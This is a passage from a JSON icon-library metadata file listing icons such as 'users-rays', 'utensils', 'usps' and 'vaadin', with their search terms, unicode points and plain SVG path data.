        "path": "M211.2 96a64 64 0 1 0 -128 0 64 64 0 1 0 128 0zM32 256c0 17.7 14.3 32 32 32h85.6c10.1-39.4 38.6-71.5 75.8-86.6c-9.7-6-21.2-9.4-33.4-9.4H96c-35.3 0-64 28.7-64 64zm461.6 32H576c17.7 0 32-14.3 32-32c0-35.3-28.7-64-64-64H448c-11.7 0-22.7 3.1-32.1 8.6c38.1 14.8 67.4 47.3 77.7 87.4zM391.2 226.4c-6.9-1.6-14.2-2.4-21.6-2.4h-96c-8.5 0-16.7 1.1-24.5 3.1c-30.8 8.1-55.6 31.1-66.1 60.9c-3.5 10-5.5 20.8-5.5 32c0 17.7 14.3 32 32 32h224c17.7 0 32-14.3 32-32c0-11.2-1.9-22-5.5-32c-10.8-30.7-36.8-54.2-68.9-61.6zM563.2 96a64 64 0 1 0 -128 0 64 64 0 1 0 128 0zM321.6 192a80 80 0 1 0 0-160 80 80 0 1 0 0 160zM32 416c-17.7 0-32 14.3-32 32s14.3 32 32 32H608c17.7 0 32-14.3 32-32s-14.3-32-32-32H32z"
      }
    },
    "free": ["solid"]
  },
  "users-rays": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["affected", "focused", "group", "people"]
    },
    "styles": ["solid"],
    "unicode": "e593",
    "label": "Users Rays",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767620,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M41 7C31.6-2.3 16.4-2.3 7 7S-2.3 31.6 7 41l72 72c9.4 9.4 24.6 9.4 33.9 0s9.4-24.6 0-33.9L41 7zM599 7L527 79c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0l72-72c9.4-9.4 9.4-24.6 0-33.9s-24.6-9.4-33.9 0zM7 505c9.4 9.4 24.6 9.4 33.9 0l72-72c9.4-9.4 9.4-24.6 0-33.9s-24.6-9.4-33.9 0L7 471c-9.4 9.4-9.4 24.6 0 33.9zm592 0c9.4 9.4 24.6 9.4 33.9 0s9.4-24.6 0-33.9l-72-72c-9.4-9.4-24.6-9.4-33.9 0s-9.4 24.6 0 33.9l72 72zM320 256a64 64 0 1 0 0-128 64 64 0 1 0 0 128zM212.1 336c-2.7 7.5-4.1 15.6-4.1 24c0 13.3 10.7 24 24 24H408c13.3 0 24-10.7 24-24c0-8.4-1.4-16.5-4.1-24c-.5-1.4-1-2.7-1.6-4c-9.4-22.3-29.8-38.9-54.3-43c-3.9-.7-7.9-1-12-1H280c-4.1 0-8.1 .3-12 1c-.8 .1-1.7 .3-2.5 .5c-24.9 5.1-45.1 23-53.4 46.5zM175.8 224a48 48 0 1 0 0-96 48 48 0 1 0 0 96zm-26.5 32C119.9 256 96 279.9 96 309.3c0 14.7 11.9 26.7 26.7 26.7h56.1c8-34.1 32.8-61.7 65.2-73.6c-7.5-4.1-16.2-6.4-25.3-6.4H149.3zm368 80c14.7 0 26.7-11.9 26.7-26.7c0-29.5-23.9-53.3-53.3-53.3H421.3c-9.2 0-17.8 2.3-25.3 6.4c32.4 11.9 57.2 39.5 65.2 73.6h56.1zM464 224a48 48 0 1 0 0-96 48 48 0 1 0 0 96z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M41 7C31.6-2.3 16.4-2.3 7 7S-2.3 31.6 7 41l72 72c9.4 9.4 24.6 9.4 33.9 0s9.4-24.6 0-33.9L41 7zM599 7L527 79c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0l72-72c9.4-9.4 9.4-24.6 0-33.9s-24.6-9.4-33.9 0zM7 505c9.4 9.4 24.6 9.4 33.9 0l72-72c9.4-9.4 9.4-24.6 0-33.9s-24.6-9.4-33.9 0L7 471c-9.4 9.4-9.4 24.6 0 33.9zm592 0c9.4 9.4 24.6 9.4 33.9 0s9.4-24.6 0-33.9l-72-72c-9.4-9.4-24.6-9.4-33.9 0s-9.4 24.6 0 33.9l72 72zM320 256a64 64 0 1 0 0-128 64 64 0 1 0 0 128zM212.1 336c-2.7 7.5-4.1 15.6-4.1 24c0 13.3 10.7 24 24 24H408c13.3 0 24-10.7 24-24c0-8.4-1.4-16.5-4.1-24c-.5-1.4-1-2.7-1.6-4c-9.4-22.3-29.8-38.9-54.3-43c-3.9-.7-7.9-1-12-1H280c-4.1 0-8.1 .3-12 1c-.8 .1-1.7 .3-2.5 .5c-24.9 5.1-45.1 23-53.4 46.5zM175.8 224a48 48 0 1 0 0-96 48 48 0 1 0 0 96zm-26.5 32C119.9 256 96 279.9 96 309.3c0 14.7 11.9 26.7 26.7 26.7h56.1c8-34.1 32.8-61.7 65.2-73.6c-7.5-4.1-16.2-6.4-25.3-6.4H149.3zm368 80c14.7 0 26.7-11.9 26.7-26.7c0-29.5-23.9-53.3-53.3-53.3H421.3c-9.2 0-17.8 2.3-25.3 6.4c32.4 11.9 57.2 39.5 65.2 73.6h56.1zM464 224a48 48 0 1 0 0-96 48 48 0 1 0 0 96z"
      }
    },
    "free": ["solid"]
  },
  "users-rectangle": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["focus", "group", "people", "reached"]
    },
    "styles": ["solid"],
    "unicode": "e594",
    "label": "Users Rectangle",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767621,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M96 0C43 0 0 43 0 96V416c0 53 43 96 96 96H544c53 0 96-43 96-96V96c0-53-43-96-96-96H96zM64 96c0-17.7 14.3-32 32-32H544c17.7 0 32 14.3 32 32V416c0 17.7-14.3 32-32 32H96c-17.7 0-32-14.3-32-32V96zm159.8 80a48 48 0 1 0 -96 0 48 48 0 1 0 96 0zM96 309.3c0 14.7 11.9 26.7 26.7 26.7h56.1c8-34.1 32.8-61.7 65.2-73.6c-7.5-4.1-16.2-6.4-25.3-6.4H149.3C119.9 256 96 279.9 96 309.3zM461.2 336h56.1c14.7 0 26.7-11.9 26.7-26.7c0-29.5-23.9-53.3-53.3-53.3H421.3c-9.2 0-17.8 2.3-25.3 6.4c32.4 11.9 57.2 39.5 65.2 73.6zM372 289c-3.9-.7-7.9-1-12-1H280c-4.1 0-8.1 .3-12 1c-26 4.4-47.3 22.7-55.9 47c-2.7 7.5-4.1 15.6-4.1 24c0 13.3 10.7 24 24 24H408c13.3 0 24-10.7 24-24c0-8.4-1.4-16.5-4.1-24c-8.6-24.3-29.9-42.6-55.9-47zM512 176a48 48 0 1 0 -96 0 48 48 0 1 0 96 0zM320 256a64 64 0 1 0 0-128 64 64 0 1 0 0 128z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M96 0C43 0 0 43 0 96V416c0 53 43 96 96 96H544c53 0 96-43 96-96V96c0-53-43-96-96-96H96zM64 96c0-17.7 14.3-32 32-32H544c17.7 0 32 14.3 32 32V416c0 17.7-14.3 32-32 32H96c-17.7 0-32-14.3-32-32V96zm159.8 80a48 48 0 1 0 -96 0 48 48 0 1 0 96 0zM96 309.3c0 14.7 11.9 26.7 26.7 26.7h56.1c8-34.1 32.8-61.7 65.2-73.6c-7.5-4.1-16.2-6.4-25.3-6.4H149.3C119.9 256 96 279.9 96 309.3zM461.2 336h56.1c14.7 0 26.7-11.9 26.7-26.7c0-29.5-23.9-53.3-53.3-53.3H421.3c-9.2 0-17.8 2.3-25.3 6.4c32.4 11.9 57.2 39.5 65.2 73.6zM372 289c-3.9-.7-7.9-1-12-1H280c-4.1 0-8.1 .3-12 1c-26 4.4-47.3 22.7-55.9 47c-2.7 7.5-4.1 15.6-4.1 24c0 13.3 10.7 24 24 24H408c13.3 0 24-10.7 24-24c0-8.4-1.4-16.5-4.1-24c-8.6-24.3-29.9-42.6-55.9-47zM512 176a48 48 0 1 0 -96 0 48 48 0 1 0 96 0zM320 256a64 64 0 1 0 0-128 64 64 0 1 0 0 128z"
      }
    },
    "free": ["solid"]
  },
  "users-slash": {
    "aliases": {
      "unicodes": {
        "secondary": ["10e073"]
      }
    },
    "changes": ["5.13.0", "5.14.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["users-people"]
    },
    "styles": ["solid"],
    "unicode": "e073",
    "label": "Users Slash",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767621,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M38.8 5.1C28.4-3.1 13.3-1.2 5.1 9.2S-1.2 34.7 9.2 42.9l592 464c10.4 8.2 25.5 6.3 33.7-4.1s6.3-25.5-4.1-33.7L440.6 320H618.7c11.8 0 21.3-9.6 21.3-21.3C640 239.8 592.2 192 533.3 192H490.7c-15.9 0-31 3.5-44.6 9.7c1.3 7.2 1.9 14.7 1.9 22.3c0 30.2-10.5 58-28 79.9l-25.2-19.7C408.1 267.7 416 246.8 416 224c0-53-43-96-96-96c-31.1 0-58.7 14.8-76.3 37.7l-40.6-31.8c13-14.2 20.9-33.1 20.9-53.9c0-44.2-35.8-80-80-80C116.3 0 91.9 14.1 77.5 35.5L38.8 5.1zM106.7 192C47.8 192 0 239.8 0 298.7C0 310.4 9.6 320 21.3 320H234.7c.2 0 .4 0 .7 0c-20.6-18.2-35.2-42.8-40.8-70.8L121.8 192H106.7zM261.3 352C187.7 352 128 411.7 128 485.3c0 14.7 11.9 26.7 26.7 26.7H485.3c10.5 0 19.5-6 23.9-14.8L324.9 352H261.3zM512 160A80 80 0 1 0 512 0a80 80 0 1 0 0 160z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M38.8 5.1C28.4-3.1 13.3-1.2 5.1 9.2S-1.2 34.7 9.2 42.9l592 464c10.4 8.2 25.5 6.3 33.7-4.1s6.3-25.5-4.1-33.7L440.6 320H618.7c11.8 0 21.3-9.6 21.3-21.3C640 239.8 592.2 192 533.3 192H490.7c-15.9 0-31 3.5-44.6 9.7c1.3 7.2 1.9 14.7 1.9 22.3c0 30.2-10.5 58-28 79.9l-25.2-19.7C408.1 267.7 416 246.8 416 224c0-53-43-96-96-96c-31.1 0-58.7 14.8-76.3 37.7l-40.6-31.8c13-14.2 20.9-33.1 20.9-53.9c0-44.2-35.8-80-80-80C116.3 0 91.9 14.1 77.5 35.5L38.8 5.1zM106.7 192C47.8 192 0 239.8 0 298.7C0 310.4 9.6 320 21.3 320H234.7c.2 0 .4 0 .7 0c-20.6-18.2-35.2-42.8-40.8-70.8L121.8 192H106.7zM261.3 352C187.7 352 128 411.7 128 485.3c0 14.7 11.9 26.7 26.7 26.7H485.3c10.5 0 19.5-6 23.9-14.8L324.9 352H261.3zM512 160A80 80 0 1 0 512 0a80 80 0 1 0 0 160z"
      }
    },
    "free": ["solid"]
  },
  "users-viewfinder": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["focus", "group", "people", "targeted"]
    },
    "styles": ["solid"],
    "unicode": "e595",
    "label": "Users Viewfinder",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767620,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M48 48h88c13.3 0 24-10.7 24-24s-10.7-24-24-24H32C14.3 0 0 14.3 0 32V136c0 13.3 10.7 24 24 24s24-10.7 24-24V48zM175.8 224a48 48 0 1 0 0-96 48 48 0 1 0 0 96zm-26.5 32C119.9 256 96 279.9 96 309.3c0 14.7 11.9 26.7 26.7 26.7h56.1c8-34.1 32.8-61.7 65.2-73.6c-7.5-4.1-16.2-6.4-25.3-6.4H149.3zm368 80c14.7 0 26.7-11.9 26.7-26.7c0-29.5-23.9-53.3-53.3-53.3H421.3c-9.2 0-17.8 2.3-25.3 6.4c32.4 11.9 57.2 39.5 65.2 73.6h56.1zm-89.4 0c-8.6-24.3-29.9-42.6-55.9-47c-3.9-.7-7.9-1-12-1H280c-4.1 0-8.1 .3-12 1c-26 4.4-47.3 22.7-55.9 47c-2.7 7.5-4.1 15.6-4.1 24c0 13.3 10.7 24 24 24H408c13.3 0 24-10.7 24-24c0-8.4-1.4-16.5-4.1-24zM464 224a48 48 0 1 0 0-96 48 48 0 1 0 0 96zm-80-32a64 64 0 1 0 -128 0 64 64 0 1 0 128 0zM504 48h88v88c0 13.3 10.7 24 24 24s24-10.7 24-24V32c0-17.7-14.3-32-32-32H504c-13.3 0-24 10.7-24 24s10.7 24 24 24zM48 464V376c0-13.3-10.7-24-24-24s-24 10.7-24 24V480c0 17.7 14.3 32 32 32H136c13.3 0 24-10.7 24-24s-10.7-24-24-24H48zm456 0c-13.3 0-24 10.7-24 24s10.7 24 24 24H608c17.7 0 32-14.3 32-32V376c0-13.3-10.7-24-24-24s-24 10.7-24 24v88H504z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M48 48h88c13.3 0 24-10.7 24-24s-10.7-24-24-24H32C14.3 0 0 14.3 0 32V136c0 13.3 10.7 24 24 24s24-10.7 24-24V48zM175.8 224a48 48 0 1 0 0-96 48 48 0 1 0 0 96zm-26.5 32C119.9 256 96 279.9 96 309.3c0 14.7 11.9 26.7 26.7 26.7h56.1c8-34.1 32.8-61.7 65.2-73.6c-7.5-4.1-16.2-6.4-25.3-6.4H149.3zm368 80c14.7 0 26.7-11.9 26.7-26.7c0-29.5-23.9-53.3-53.3-53.3H421.3c-9.2 0-17.8 2.3-25.3 6.4c32.4 11.9 57.2 39.5 65.2 73.6h56.1zm-89.4 0c-8.6-24.3-29.9-42.6-55.9-47c-3.9-.7-7.9-1-12-1H280c-4.1 0-8.1 .3-12 1c-26 4.4-47.3 22.7-55.9 47c-2.7 7.5-4.1 15.6-4.1 24c0 13.3 10.7 24 24 24H408c13.3 0 24-10.7 24-24c0-8.4-1.4-16.5-4.1-24zM464 224a48 48 0 1 0 0-96 48 48 0 1 0 0 96zm-80-32a64 64 0 1 0 -128 0 64 64 0 1 0 128 0zM504 48h88v88c0 13.3 10.7 24 24 24s24-10.7 24-24V32c0-17.7-14.3-32-32-32H504c-13.3 0-24 10.7-24 24s10.7 24 24 24zM48 464V376c0-13.3-10.7-24-24-24s-24 10.7-24 24V480c0 17.7 14.3 32 32 32H136c13.3 0 24-10.7 24-24s-10.7-24-24-24H48zm456 0c-13.3 0-24 10.7-24 24s10.7 24 24 24H608c17.7 0 32-14.3 32-32V376c0-13.3-10.7-24-24-24s-24 10.7-24 24v88H504z"
      }
    },
    "free": ["solid"]
  },
  "usps": {
    "changes": ["5.6.0", "5.8.0"],
    "ligatures": [],
    "search": {
      "terms": ["american", "package", "shipping", "usa"]
    },
    "styles": ["brands"],
    "unicode": "f7e1",
    "label": "United States Postal Service",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014469,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M460.3 241.7c25.8-41.3 15.2-48.8-11.7-48.8h-27c-.1 0-1.5-1.4-10.9 8-11.2 5.6-37.9 6.3-37.9 8.7 0 4.5 70.3-3.1 88.1 0 9.5 1.5-1.5 20.4-4.4 32-.5 4.5 2.4 2.3 3.8.1zm-112.1 22.6c64-21.3 97.3-23.9 102-26.2 4.4-2.9-4.4-6.6-26.2-5.8-51.7 2.2-137.6 37.1-172.6 53.9l-30.7-93.3h196.6c-2.7-28.2-152.9-22.6-337.9-22.6L27 415.8c196.4-97.3 258.9-130.3 321.2-151.5zM94.7 96c253.3 53.7 330 65.7 332.1 85.2 36.4 0 45.9 0 52.4 6.6 21.1 19.7-14.6 67.7-14.6 67.7-4.4 2.9-406.4 160.2-406.4 160.2h423.1L549 96z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M460.3 241.7c25.8-41.3 15.2-48.8-11.7-48.8h-27c-.1 0-1.5-1.4-10.9 8-11.2 5.6-37.9 6.3-37.9 8.7 0 4.5 70.3-3.1 88.1 0 9.5 1.5-1.5 20.4-4.4 32-.5 4.5 2.4 2.3 3.8.1zm-112.1 22.6c64-21.3 97.3-23.9 102-26.2 4.4-2.9-4.4-6.6-26.2-5.8-51.7 2.2-137.6 37.1-172.6 53.9l-30.7-93.3h196.6c-2.7-28.2-152.9-22.6-337.9-22.6L27 415.8c196.4-97.3 258.9-130.3 321.2-151.5zM94.7 96c253.3 53.7 330 65.7 332.1 85.2 36.4 0 45.9 0 52.4 6.6 21.1 19.7-14.6 67.7-14.6 67.7-4.4 2.9-406.4 160.2-406.4 160.2h423.1L549 96z"
      }
    },
    "free": ["brands"]
  },
  "ussunnah": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f407",
    "label": "us-Sunnah Foundation",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1677678764,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 482 512\"><path d=\"M481.9 268.1A240.9 240.9 0 1 1 .1 268a240.9 240.9 0 1 1 481.9 0zM24.5 268a216.5 216.5 0 1 0 432.9 0A216.5 216.5 0 1 0 24.5 268zm385.9 63.3c-12.7 0-21.6-1.9-26.7-5.9c-5.5-4.3-8.2-12.3-8.2-23.8V205.1c0-6.5-5.2-20.2-15.7-41.2c7 0 17-9.1 30-27.2V284.5c0 11 2.4 19.4 7 25.3c3.7 4.7 10.1 8.9 19 12.6c1.2 .4 2.6 .9 4.1 1.4c2.9 .9 6.3 2.1 10.3 3.5c-1.8 2.7-8.3 4-19.9 4zm-219 0c-1.3 2.4-3.6 5.5-6.8 9.4l-18.5 22.5c-1-6.1-4-13-9.3-20.6s-9.7-11.4-13.4-11.4h-8.3H53.6c3.3-5.3 4.9-8.8 4.9-10.8c0-2-.8-5.3-2.4-9.7c-1.5-4.4-2.4-8.5-2.4-12.4c0-7.4 2.1-13.9 6.3-19.3L80 253.4l-7.1-17.7L89 215.9l6.7 16.8 8-10.3c-1.8 6.4-2.6 12.3-2.6 17.7c0 4.2 2.8 13.3 8.3 27.3l16.2 40.7H135h8 .3c2.8 .4 7.7 5 14.6 13.9c1.8 2.4 4.3 5.8 7.7 10.2c1.4 1.9 2.9 3.9 4.6 6.1c1.3-2.3 2-4.6 2-7.1c0-2-1.3-6.6-4-13.4L163 304.1c-4-10.6-6.1-17.7-6.1-21.3c0-6.3 1.9-12.3 5.8-17.9c.5-.6 1-1.3 1.5-1.9c4.4-5.6 8.8-11.1 13.3-16.5c-1.1 4.6-1.7 8.7-1.7 12c0 3.7 1.7 9.9 5.1 18.8l7.9 20.4c1.9 4.7 3 8.2 3.7 10.3h17.6 8.3l-.9-2.6c-1.4-3.9-4-7-7.7-9.3l15.6-20.1 12.3 32h13.4L245 292.2c-1.5-3.9-4-7-7.7-9.3L253 262.8 270.3 308h13.4l-11.4-29.4c-1.5-3.9-4-7-7.7-9.3l15.6-20L302.6 308h10.3 8.3 7.6c1.5 0 3-1.1 4.5-3.1s2.2-4.1 2.2-6.3V205.1c0-6.5-4.5-20.3-13.7-41.2c5.4 0 14.1-9.1 26.2-27.2V300.2c0 7.2 .6 12 1.7 14.6c1.6 3.4 5.3 6.2 11.1 8.2c-3.9 5.6-8.7 8.5-14.5 8.5H321.1h-8.3H210.5h-19zM93.4 287.3c-2.7-6.7-4-11.7-4-15c-.6 1.2-2.4 3.7-5.4 7.6c-1.4 1.9-2.2 3.7-2.2 5.3c0 2.6 .8 5.7 2.2 9.3l5.6 13.9h0c5 0 9 0 11.9-.1l-8.2-20.9zm13.5-72.4c-3-5.2-7-9.3-11.9-11.9c-3.5-1.9-5.3-4.3-5.3-7.4c0-2.4 4.6-8.6 14-18.3c.2 3.8 1.9 7.6 4.9 11.2c3.1 3.6 4.6 7 4.6 10.1c0 2.6-2.1 8-6.2 16.3zm-27.6 0c-3-5.2-7-9.3-11.9-11.9c-3.5-1.9-5.3-4.3-5.3-7.4c0-2.4 4.6-8.6 14-18.3c.2 3.8 1.9 7.6 4.9 11.2c3.1 3.6 4.6 7 4.6 10.1c0 2.6-2.1 8-6.2 16.3zm87 27.5c-3-5.2-7-9.3-11.9-11.9c-3.5-1.9-5.3-4.3-5.3-7.4c0-2.4 4.6-8.6 14-18.3c.2 3.8 1.9 7.6 4.9 11.2c3.1 3.6 4.6 7 4.6 10.1c0 2.6-2.1 8-6.2 16.3z\"/></svg>",
        "viewBox": [0, 0, 482, 512],
        "width": 482,
        "height": 512,
        "path": "M481.9 268.1A240.9 240.9 0 1 1 .1 268a240.9 240.9 0 1 1 481.9 0zM24.5 268a216.5 216.5 0 1 0 432.9 0A216.5 216.5 0 1 0 24.5 268zm385.9 63.3c-12.7 0-21.6-1.9-26.7-5.9c-5.5-4.3-8.2-12.3-8.2-23.8V205.1c0-6.5-5.2-20.2-15.7-41.2c7 0 17-9.1 30-27.2V284.5c0 11 2.4 19.4 7 25.3c3.7 4.7 10.1 8.9 19 12.6c1.2 .4 2.6 .9 4.1 1.4c2.9 .9 6.3 2.1 10.3 3.5c-1.8 2.7-8.3 4-19.9 4zm-219 0c-1.3 2.4-3.6 5.5-6.8 9.4l-18.5 22.5c-1-6.1-4-13-9.3-20.6s-9.7-11.4-13.4-11.4h-8.3H53.6c3.3-5.3 4.9-8.8 4.9-10.8c0-2-.8-5.3-2.4-9.7c-1.5-4.4-2.4-8.5-2.4-12.4c0-7.4 2.1-13.9 6.3-19.3L80 253.4l-7.1-17.7L89 215.9l6.7 16.8 8-10.3c-1.8 6.4-2.6 12.3-2.6 17.7c0 4.2 2.8 13.3 8.3 27.3l16.2 40.7H135h8 .3c2.8 .4 7.7 5 14.6 13.9c1.8 2.4 4.3 5.8 7.7 10.2c1.4 1.9 2.9 3.9 4.6 6.1c1.3-2.3 2-4.6 2-7.1c0-2-1.3-6.6-4-13.4L163 304.1c-4-10.6-6.1-17.7-6.1-21.3c0-6.3 1.9-12.3 5.8-17.9c.5-.6 1-1.3 1.5-1.9c4.4-5.6 8.8-11.1 13.3-16.5c-1.1 4.6-1.7 8.7-1.7 12c0 3.7 1.7 9.9 5.1 18.8l7.9 20.4c1.9 4.7 3 8.2 3.7 10.3h17.6 8.3l-.9-2.6c-1.4-3.9-4-7-7.7-9.3l15.6-20.1 12.3 32h13.4L245 292.2c-1.5-3.9-4-7-7.7-9.3L253 262.8 270.3 308h13.4l-11.4-29.4c-1.5-3.9-4-7-7.7-9.3l15.6-20L302.6 308h10.3 8.3 7.6c1.5 0 3-1.1 4.5-3.1s2.2-4.1 2.2-6.3V205.1c0-6.5-4.5-20.3-13.7-41.2c5.4 0 14.1-9.1 26.2-27.2V300.2c0 7.2 .6 12 1.7 14.6c1.6 3.4 5.3 6.2 11.1 8.2c-3.9 5.6-8.7 8.5-14.5 8.5H321.1h-8.3H210.5h-19zM93.4 287.3c-2.7-6.7-4-11.7-4-15c-.6 1.2-2.4 3.7-5.4 7.6c-1.4 1.9-2.2 3.7-2.2 5.3c0 2.6 .8 5.7 2.2 9.3l5.6 13.9h0c5 0 9 0 11.9-.1l-8.2-20.9zm13.5-72.4c-3-5.2-7-9.3-11.9-11.9c-3.5-1.9-5.3-4.3-5.3-7.4c0-2.4 4.6-8.6 14-18.3c.2 3.8 1.9 7.6 4.9 11.2c3.1 3.6 4.6 7 4.6 10.1c0 2.6-2.1 8-6.2 16.3zm-27.6 0c-3-5.2-7-9.3-11.9-11.9c-3.5-1.9-5.3-4.3-5.3-7.4c0-2.4 4.6-8.6 14-18.3c.2 3.8 1.9 7.6 4.9 11.2c3.1 3.6 4.6 7 4.6 10.1c0 2.6-2.1 8-6.2 16.3zm87 27.5c-3-5.2-7-9.3-11.9-11.9c-3.5-1.9-5.3-4.3-5.3-7.4c0-2.4 4.6-8.6 14-18.3c.2 3.8 1.9 7.6 4.9 11.2c3.1 3.6 4.6 7 4.6 10.1c0 2.6-2.1 8-6.2 16.3z"
      }
    },
    "free": ["brands"]
  },
  "utensils": {
    "aliases": {
      "names": ["cutlery"],
      "unicodes": {
        "composite": ["1f374", "f0f5"],
        "secondary": ["10f2e7"]
      }
    },
    "changes": [
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "cooking",
        "cutlery",
        "dining",
        "dinner",
        "eat",
        "food",
        "fork",
        "fork and knife",
        "knife",
        "restaurant"
      ]
    },
    "styles": ["solid"],
    "unicode": "f2e7",
    "label": "Utensils",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767419,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M416 0C400 0 288 32 288 176V288c0 35.3 28.7 64 64 64h32V480c0 17.7 14.3 32 32 32s32-14.3 32-32V352 240 32c0-17.7-14.3-32-32-32zM64 16C64 7.8 57.9 1 49.7 .1S34.2 4.6 32.4 12.5L2.1 148.8C.7 155.1 0 161.5 0 167.9c0 45.9 35.1 83.6 80 87.7V480c0 17.7 14.3 32 32 32s32-14.3 32-32V255.6c44.9-4.1 80-41.8 80-87.7c0-6.4-.7-12.8-2.1-19.1L191.6 12.5c-1.8-8-9.3-13.3-17.4-12.4S160 7.8 160 16V150.2c0 5.4-4.4 9.8-9.8 9.8c-5.1 0-9.3-3.9-9.8-9L127.9 14.6C127.2 6.3 120.3 0 112 0s-15.2 6.3-15.9 14.6L83.7 151c-.5 5.1-4.7 9-9.8 9c-5.4 0-9.8-4.4-9.8-9.8V16zm48.3 152l-.3 0-.3 0 .3-.7 .3 .7z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M416 0C400 0 288 32 288 176V288c0 35.3 28.7 64 64 64h32V480c0 17.7 14.3 32 32 32s32-14.3 32-32V352 240 32c0-17.7-14.3-32-32-32zM64 16C64 7.8 57.9 1 49.7 .1S34.2 4.6 32.4 12.5L2.1 148.8C.7 155.1 0 161.5 0 167.9c0 45.9 35.1 83.6 80 87.7V480c0 17.7 14.3 32 32 32s32-14.3 32-32V255.6c44.9-4.1 80-41.8 80-87.7c0-6.4-.7-12.8-2.1-19.1L191.6 12.5c-1.8-8-9.3-13.3-17.4-12.4S160 7.8 160 16V150.2c0 5.4-4.4 9.8-9.8 9.8c-5.1 0-9.3-3.9-9.8-9L127.9 14.6C127.2 6.3 120.3 0 112 0s-15.2 6.3-15.9 14.6L83.7 151c-.5 5.1-4.7 9-9.8 9c-5.4 0-9.8-4.4-9.8-9.8V16zm48.3 152l-.3 0-.3 0 .3-.7 .3 .7z"
      }
    },
    "free": ["solid"]
  },
  "v": {
    "aliases": {
      "unicodes": {
        "composite": ["76"]
      }
    },
    "changes": ["6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Latin Capital Letter V", "Latin Small Letter V", "letter"]
    },
    "styles": ["solid"],
    "unicode": "56",
    "label": "V",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767247,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M19.7 34.5c16.3-6.8 35 .9 41.8 17.2L192 364.8 322.5 51.7c6.8-16.3 25.5-24 41.8-17.2s24 25.5 17.2 41.8l-160 384c-5 11.9-16.6 19.7-29.5 19.7s-24.6-7.8-29.5-19.7L2.5 76.3c-6.8-16.3 .9-35 17.2-41.8z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M19.7 34.5c16.3-6.8 35 .9 41.8 17.2L192 364.8 322.5 51.7c6.8-16.3 25.5-24 41.8-17.2s24 25.5 17.2 41.8l-160 384c-5 11.9-16.6 19.7-29.5 19.7s-24.6-7.8-29.5-19.7L2.5 76.3c-6.8-16.3 .9-35 17.2-41.8z"
      }
    },
    "free": ["solid"]
  },
  "vaadin": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f408",
    "label": "Vaadin",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014460,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M224.5 140.7c1.5-17.6 4.9-52.7 49.8-52.7h98.6c20.7 0 32.1-7.8 32.1-21.6V54.1c0-12.2 9.3-22.1 21.5-22.1S448 41.9 448 54.1v36.5c0 42.9-21.5 62-66.8 62H280.7c-30.1 0-33 14.7-33 27.1 0 1.3-.1 2.5-.2 3.7-.7 12.3-10.9 22.2-23.4 22.2s-22.7-9.8-23.4-22.2c-.1-1.2-.2-2.4-.2-3.7 0-12.3-3-27.1-33-27.1H66.8c-45.3 0-66.8-19.1-66.8-62V54.1C0 41.9 9.4 32 21.6 32s21.5 9.9 21.5 22.1v12.3C43.1 80.2 54.5 88 75.2 88h98.6c44.8 0 48.3 35.1 49.8 52.7h.9zM224 456c11.5 0 21.4-7 25.7-16.3 1.1-1.8 97.1-169.6 98.2-171.4 11.9-19.6-3.2-44.3-27.2-44.3-13.9 0-23.3 6.4-29.8 20.3L224 362l-66.9-117.7c-6.4-13.9-15.9-20.3-29.8-20.3-24 0-39.1 24.6-27.2 44.3 1.1 1.9 97.1 169.6 98.2 171.4 4.3 9.3 14.2 16.3 25.7 16.3z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
